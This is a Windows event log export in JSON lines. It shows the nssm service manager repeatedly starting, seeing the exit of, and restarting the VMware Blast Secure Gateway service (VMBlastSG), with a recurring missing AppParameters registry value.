{"@timestamp":1646692121625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157982}}
{"@timestamp":1646692250909,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157983}}
{"@timestamp":1646692250910,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157984}}
{"@timestamp":1646692250911,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155580","0"]}}},"module":"Application","provider":"nssm","sequence":157985}}
{"@timestamp":1646692250911,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155580","155580","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157986}}
{"@timestamp":1646692250927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157987}}
{"@timestamp":1646692250928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157988}}
{"@timestamp":1646692250928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157989}}
{"@timestamp":1646692250929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157990}}
{"@timestamp":1646692379443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157991}}
{"@timestamp":1646692379444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":157992}}
{"@timestamp":1646692379444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155408","0"]}}},"module":"Application","provider":"nssm","sequence":157993}}
{"@timestamp":1646692379445,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155408","155408","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":157994}}
{"@timestamp":1646692379460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157995}}
{"@timestamp":1646692379461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":157996}}
{"@timestamp":1646692379461,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":157997}}
{"@timestamp":1646692379462,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":157998}}
{"@timestamp":1646692507954,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":157999}}
{"@timestamp":1646692507956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158000}}
{"@timestamp":1646692507957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151876","0"]}}},"module":"Application","provider":"nssm","sequence":158001}}
{"@timestamp":1646692507957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151876","151876","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158002}}
{"@timestamp":1646692507973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158003}}
{"@timestamp":1646692507974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158004}}
{"@timestamp":1646692507974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158005}}
{"@timestamp":1646692507975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158006}}
{"@timestamp":1646692636490,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158007}}
{"@timestamp":1646692636491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158008}}
{"@timestamp":1646692636492,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154488","0"]}}},"module":"Application","provider":"nssm","sequence":158009}}
{"@timestamp":1646692636493,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154488","154488","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158010}}
{"@timestamp":1646692636509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158011}}
{"@timestamp":1646692636510,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158012}}
{"@timestamp":1646692636510,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158013}}
{"@timestamp":1646692636511,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158014}}
{"@timestamp":1646692764995,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158015}}
{"@timestamp":1646692764996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158016}}
{"@timestamp":1646692764997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154876","0"]}}},"module":"Application","provider":"nssm","sequence":158017}}
{"@timestamp":1646692764997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154876","154876","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158018}}
{"@timestamp":1646692765012,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158019}}
{"@timestamp":1646692765013,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158020}}
{"@timestamp":1646692765013,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158021}}
{"@timestamp":1646692765014,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158022}}
{"@timestamp":1646692893546,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158023}}
{"@timestamp":1646692893547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158024}}
{"@timestamp":1646692893548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154760","0"]}}},"module":"Application","provider":"nssm","sequence":158025}}
{"@timestamp":1646692893548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154760","154760","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158026}}
{"@timestamp":1646692893563,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158027}}
{"@timestamp":1646692893564,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158028}}
{"@timestamp":1646692893564,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158029}}
{"@timestamp":1646692893565,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158030}}
{"@timestamp":1646693022053,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158031}}
{"@timestamp":1646693022056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158032}}
{"@timestamp":1646693022056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155056","0"]}}},"module":"Application","provider":"nssm","sequence":158033}}
{"@timestamp":1646693022057,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155056","155056","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158034}}
{"@timestamp":1646693022073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158035}}
{"@timestamp":1646693022073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158036}}
{"@timestamp":1646693022074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158037}}
{"@timestamp":1646693022075,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158038}}
{"@timestamp":1646693150600,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158039}}
{"@timestamp":1646693150601,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158040}}
{"@timestamp":1646693150602,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155100","0"]}}},"module":"Application","provider":"nssm","sequence":158041}}
{"@timestamp":1646693150603,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155100","155100","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158042}}
{"@timestamp":1646693150619,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158043}}
{"@timestamp":1646693150620,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158044}}
{"@timestamp":1646693150620,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158045}}
{"@timestamp":1646693150621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158046}}
{"@timestamp":1646693279121,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158047}}
{"@timestamp":1646693279123,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158048}}
{"@timestamp":1646693279124,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155384","0"]}}},"module":"Application","provider":"nssm","sequence":158049}}
{"@timestamp":1646693279124,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155384","155384","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158050}}
{"@timestamp":1646693279141,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158051}}
{"@timestamp":1646693279142,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158052}}
{"@timestamp":1646693279143,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158053}}
{"@timestamp":1646693279144,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158054}}
{"@timestamp":1646693407639,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158055}}
{"@timestamp":1646693407640,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158056}}
{"@timestamp":1646693407641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155528","0"]}}},"module":"Application","provider":"nssm","sequence":158057}}
{"@timestamp":1646693407641,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155528","155528","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158058}}
{"@timestamp":1646693407661,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158059}}
{"@timestamp":1646693407662,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158060}}
{"@timestamp":1646693407662,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158061}}
{"@timestamp":1646693407663,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158062}}
{"@timestamp":1646693536339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158063}}
{"@timestamp":1646693536339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158064}}
{"@timestamp":1646693536341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155312","0"]}}},"module":"Application","provider":"nssm","sequence":158065}}
{"@timestamp":1646693536342,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155312","155312","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158066}}
{"@timestamp":1646693536359,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158067}}
{"@timestamp":1646693536360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158068}}
{"@timestamp":1646693536360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158069}}
{"@timestamp":1646693536361,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158070}}
{"@timestamp":1646693665279,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158071}}
{"@timestamp":1646693665279,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158072}}
{"@timestamp":1646693665280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155572","0"]}}},"module":"Application","provider":"nssm","sequence":158073}}
{"@timestamp":1646693665282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155572","155572","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158074}}
{"@timestamp":1646693665299,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158075}}
{"@timestamp":1646693665300,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158076}}
{"@timestamp":1646693665300,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158077}}
{"@timestamp":1646693665301,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158078}}
{"@timestamp":1646693793895,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158079}}
{"@timestamp":1646693793897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158080}}
{"@timestamp":1646693793897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154748","0"]}}},"module":"Application","provider":"nssm","sequence":158081}}
{"@timestamp":1646693793898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154748","154748","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158082}}
{"@timestamp":1646693793914,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158083}}
{"@timestamp":1646693793915,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158084}}
{"@timestamp":1646693793915,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158085}}
{"@timestamp":1646693793917,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158086}}
